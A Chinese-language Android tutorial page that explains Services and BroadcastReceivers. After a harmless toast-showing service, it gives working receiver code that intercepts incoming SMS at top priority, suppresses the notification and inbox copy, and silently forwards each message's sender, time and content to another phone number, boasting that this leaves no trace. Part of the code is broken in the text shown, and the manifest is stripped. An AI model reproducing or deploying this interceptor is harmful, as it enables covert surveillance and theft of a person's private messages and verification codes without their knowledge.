Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> android:啟動服務;廣播(最高優先竊聽信息)並轉發給別人

android:啟動服務;廣播(最高優先竊聽信息)並轉發給別人

編輯:關於Android編程

3.1、Service服務

Service類似Activity,實際上就是一個沒有界面的Activity,而且默認不會隨著程序關閉而關閉。

開發人員自定義的服務類一般用來完成一些安全軟件的一些監聽功能,以及消息提示,流氓軟件的功能。

系統服務則是通過類似getSystemService()的方法來取得系統的一些服務管理類(XxxxManager),來調用系統處理好的功能完成自己需要的操作,例如:電話監聽,連接狀態的判斷等。

如果想自己編寫一個服務類,可以建立一個類,繼承Service,並覆寫相應的方法即可。

編寫好服務類後,還需要在AndroidManifest.xml中聲明這個Service。

package com.example.service;


import android.app.Service;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.widget.Toast;

//每隔3秒顯示下toast
public class TestService extends Service {
private Handler handler;
private boolean flag=true;
@Override
public IBinder onBind(Intent arg0) {
//綁定activity,一般不用,用了的話,則activity關閉,service也關閉
return null;
}
/**主線程
*
*/
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
System.out.println("創建service");
//調用子線程
handler=new Handler(){
public void handleMessage(Message msg) {
Toast.makeText(TestService.this,"啟動了服務------------",Toast.LENGTH_LONG).show();
}
};
}


@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("銷毀service-----------");
flag=false;//這是為了關閉死循環進程
}


@Override
public int onStartCommand(Intent intent, int flags, int startId) {
//啟動服務時自動調用這個方法
Thread t=new Thread(){
public void run() {
while (flag) {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
handler.sendEmptyMessage(0);
}
}
};
t.start();
return super.onStartCommand(intent, flags, startId);

}

}

還可以通過系統服務來讀取手機的各種信息以及網絡連接狀態的信息。

3.2、BroadCastReciver廣播接收器

廣播接收器在使用時的表現上與Service很像,都是一個沒有界面的組件,都是在後台自動運行,都可以通過Activity來啟動。

但Service只能通過其他組件來啟動,但BCR則是可以自動依據某些條件來啟動。

廣播分為兩種:普通廣播和有序廣播

編寫廣播時,也需要繼承一個類,類名是BroadCastReceiver。

同樣也需要在AndroidManifest.xml中聲明這個廣播組件。

如果想做自動執行的廣播,就必須在聲明廣播組件時加入設置進入此廣播的intent條件。

根據這種功能實現短信攔截操作,將用戶接收到的短信攔截,不發送短信通知,不保存到收件箱。

並將短信的相關信息打印到控制台中。

同時,還可以調用發送短信的功能,來將一段消息發送到其他手機,而且也不經過短信應用,不會留下痕跡。

package com.example.receiver;


import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;

//實現攔截短信並發送給別人
public class SmsReceiver extends BroadcastReceiver {


@Override
public void onReceive(Context ctx, Intent in) {
//先判斷是否是因為接收短信進入廣播接收器
if (in.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
//停止此廣播,讓後面的接收器無法收到信息
this.abortBroadcast();
//取得發過來的參數
Bundle b=in.getExtras();
if (b!=null) {
Object[] ops=(Object[])b.get("pdus");
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

//循環建立短信對象,並取得裡面的信息
for (int i = 0; i < ops.length; i++) {
SmsMessage msg=SmsMessage.createFromPdu((byte[])ops[i]);
//取得消息中的內容
String content=msg.getMessageBody();
//發送人信息
String sender=msg.getDisplayOriginatingAddress();//如果通訊錄有名字則發名字,沒得話顯示號碼
//發送時間
Date date=new Date(msg.getTimestampMillis());
String sendTime=sdf.format(date);


System.out.println("消息為:"+sender+"-->"+content+"-->"+sendTime);
SmsManager manager=SmsManager.getDefault();
List all=manager.divideMessage(sender+"-->"+sendTime+"-->"+content);//如果短信太長要分多個短信
for (int j = 0; j manager.sendTextMessage("手機號", null, all.get(j),null,null);
}
}



}
}
else {
Toast.makeText(ctx, "接收到了廣播", Toast.LENGTH_SHORT).show();
}
}


}

配置權限和聲明


package="com.example.interceptforwarding"
android:versionCode="1"
android:versionName="1.0" >


android:minSdkVersion="8"
android:targetSdkVersion="17" />




android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
android:name="com.example.interceptforwarding.MainActivity"
android:label="@string/app_name" >



















  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved